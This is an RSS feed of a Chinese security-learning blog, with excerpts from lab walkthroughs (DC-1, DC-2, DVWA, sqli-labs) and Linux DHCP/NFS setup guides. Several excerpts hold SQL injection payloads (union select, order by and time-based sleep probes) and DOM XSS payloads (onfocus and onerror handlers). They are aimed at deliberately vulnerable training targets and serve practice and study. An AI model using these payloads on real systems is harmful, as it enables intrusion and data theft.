<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[sunxueer的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/sunxueer</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; sunxueer]]></copyright><item><title><![CDATA[靶场之DC-2]]></title><link>https://blog.youkuaiyun.com/sunxueer/article/details/119144617</link><guid>https://blog.youkuaiyun.com/sunxueer/article/details/119144617</guid><author>sunxueer</author><pubDate>Tue, 27 Jul 2021 15:29:08 +0800</pubDate><description><![CDATA[DC-2环境：1. 打开虚拟机2. 信息收集2.1 nmap扫描存活主机确定DC-2的ip地址2.2 利用namp扫描DC-2开放的端口2.3 访问一下80端口2.4 尝试寻找该网站的CMS3. 寻找flag3.1 寻找flag13.2 寻找flag23.3 寻找flag33.4 寻找flag4.txt3.4 寻找the final flag总结
环境：
靶机名称：DC-2
攻击机：kali 192.168.78.135
1. 打开虚拟机

导入.ova文件，开启虚拟机


2. 信息收集
2.1 nmap]]></description><category></category></item><item><title><![CDATA[靶场之DC-1]]></title><link>https://blog.youkuaiyun.com/sunxueer/article/details/119113109</link><guid>https://blog.youkuaiyun.com/sunxueer/article/details/119113109</guid><author>sunxueer</author><pubDate>Mon, 26 Jul 2021 16:57:53 +0800</pubDate><description><![CDATA[DC-1靶机环境：1. 打开虚拟机2. 信息收集2.1 nmap扫描存活主机确定DC-1的ip地址2.2 利用namp扫描DC-1开放的端口2.3 访问80端口2.4 寻找Drupal版本信息（多种办法）2.5 寻找此版本Drupal的漏洞2.6 使用漏扫工具OpenVas3. 漏洞利用（CVE-2018-7600）3.1 寻找flag13.2 寻找flag23.3 寻找flag33.4 寻找flag43.5 寻找flag5补充：OpenVas中的CVE-2014-3704也可以做
环境：
靶机名称：DC-]]></description><category></category></item><item><title><![CDATA[linux之搭建DHCP服务]]></title><link>https://blog.youkuaiyun.com/sunxueer/article/details/118965585</link><guid>https://blog.youkuaiyun.com/sunxueer/article/details/118965585</guid><author>sunxueer</author><pubDate>Wed, 21 Jul 2021 14:27:44 +0800</pubDate><description><![CDATA[搭建DHCP服务1. DHCP简介2. DHCP的实现3. 搭建DHCP3.1 实验环境准备3.2 centos7安装dhcp3.3 配置网卡1 lan网卡为静态ip地址3.4 重启网络服务3.5 配置 /etc/dhcp/dhcpd.conf 文件3.6 重启dhcp服务3.7 开启防火墙3.8 配置防火墙nat转发3.9 重新加载防火墙配置3.10 配置ipv4流量转发3.11 查看windows server2008能否分配到ip补充  利用DHCP欺骗 使用tcpdump流量抓包
1. DHCP简介]]></description><category></category></item><item><title><![CDATA[linux之搭建NFS服务]]></title><link>https://blog.youkuaiyun.com/sunxueer/article/details/118927912</link><guid>https://blog.youkuaiyun.com/sunxueer/article/details/118927912</guid><author>sunxueer</author><pubDate>Tue, 20 Jul 2021 09:59:06 +0800</pubDate><description><![CDATA[搭建NFS服务1、NFS服务搭建环境说明2、NFS服务端搭建2.1 安装并检查NFS和RPC服务2.2 启动RPC服务和NFS服务2.3 设置开机自启动并检查2.4 创建共享目录2.5 配置共享/data目录2.6 重启NFS服务并检查服务2.7 查看本地挂载目录3、NFS客户端搭建3.1 安装NFS和RPC服务并检查3.2 启动RPC服务3.3 设置开机自启动并检查3.4 检查服务端的NFS挂载目录3.5 设置开机自动挂载3.6 查看是否挂载成功
1、NFS服务搭建环境说明
系统环境：CentOS7.5.]]></description><category></category></item><item><title><![CDATA[DVWA靶场通关之SQL Injection]]></title><link>https://blog.youkuaiyun.com/sunxueer/article/details/118916020</link><guid>https://blog.youkuaiyun.com/sunxueer/article/details/118916020</guid><author>sunxueer</author><pubDate>Mon, 19 Jul 2021 22:32:02 +0800</pubDate><description><![CDATA[SQL Injection
以下ip均为dwva靶场的ip地址，这里我搭建在虚拟机win2008中
一. low
1. 求闭合字符

输入1


 1' and 1=1 #



可能存在单引号sql注入

2. 求列数
1' and 1=1 order by 2# 


1' and 1=1 order by 3# 



说明有两列

3. 求显示位
1' and 1=2 union select 1,2 #


4. 爆数据名
1' and 1=2 union select 1,database() ]]></description><category></category></item><item><title><![CDATA[sqli靶场通关之less9]]></title><link>https://blog.youkuaiyun.com/sunxueer/article/details/118915782</link><guid>https://blog.youkuaiyun.com/sunxueer/article/details/118915782</guid><author>sunxueer</author><pubDate>Mon, 19 Jul 2021 22:18:24 +0800</pubDate><description><![CDATA[sqli
less9
时间盲注 结合burpsuite

1.不返回报错信息页面，无法进行基于报错信息的盲注。2.页面不存在true和false两种不同的页面，无法进行对比也就无法进行布尔盲注。一般来说，在页面没有任何回显和错误信息提示的时候，我们就会测试时间盲注这个手法。

1. 求闭合字符
id=1',1),1'),1"等都试过了，发现始终没有报错信息，猜测正确的输入和错误的输入返回的结果被设置成一样的了


查看源码，证实了猜测，尝试使用时间盲注


id=1 and sleep(5) //未延迟
i]]></description><category></category></item><item><title><![CDATA[sqli靶场通关之less4]]></title><link>https://blog.youkuaiyun.com/sunxueer/article/details/118762842</link><guid>https://blog.youkuaiyun.com/sunxueer/article/details/118762842</guid><author>sunxueer</author><pubDate>Thu, 15 Jul 2021 16:41:07 +0800</pubDate><description><![CDATA[sqli
less4
方法一：updatexml报错函数
1. 找闭合字符
id = 1”) //异常 
id = 1”) and 1 =1 -- + //正确 
id = 1”) and 1 =2 -- + //错误


说明可能存在双引号字符型注入

2. 求列数
id=1") order by 3 -- +


id=1") order by 4 -- +



说明有3列

3. 求显示位
id=1") and 1=2 union select 1,2,3 -- +


4. 爆数据库名
id=1"]]></description><category></category></item><item><title><![CDATA[sqli靶场通关之less2]]></title><link>https://blog.youkuaiyun.com/sunxueer/article/details/118761109</link><guid>https://blog.youkuaiyun.com/sunxueer/article/details/118761109</guid><author>sunxueer</author><pubDate>Thu, 15 Jul 2021 16:29:20 +0800</pubDate><description><![CDATA[sqli靶场
less2
方法一：union联合查询
1. 求闭合字符
id=1 //无异常
id=1 and 1 =1 -- + //正确显示
id=1 and 1 =2 -- + //错误


说明有可能存在数字型SQL注入

2. 求列数
id=1 order by 3 -- + 


id=1 order by 4 -- + 



说明有3列

3. 求显示位
id=-1 union select 1,2,3 -- +


4. 爆数据库名
id=1 and 1=2 union select 1,]]></description><category></category></item><item><title><![CDATA[DVWA靶场通关之DOM型XSS]]></title><link>https://blog.youkuaiyun.com/sunxueer/article/details/117716451</link><guid>https://blog.youkuaiyun.com/sunxueer/article/details/117716451</guid><author>sunxueer</author><pubDate>Tue, 08 Jun 2021 22:44:57 +0800</pubDate><description><![CDATA[day17
XSS DOM型
低级
default=
按F12查看代码

中级
查看源码

stripos函数，在default中查找是否有&lt;script，不区分大小写
方法1 利用input标签的自动聚焦
default = "&gt;&lt;input onfocus = alert(‘xss’) autofocus/&gt;
第一个双引号结束value，&gt;闭合option标签，再加上input
方法2 利用img标签的onerror事件
default=&lt;img src =1 οne]]></description><category></category></item></channel></rss>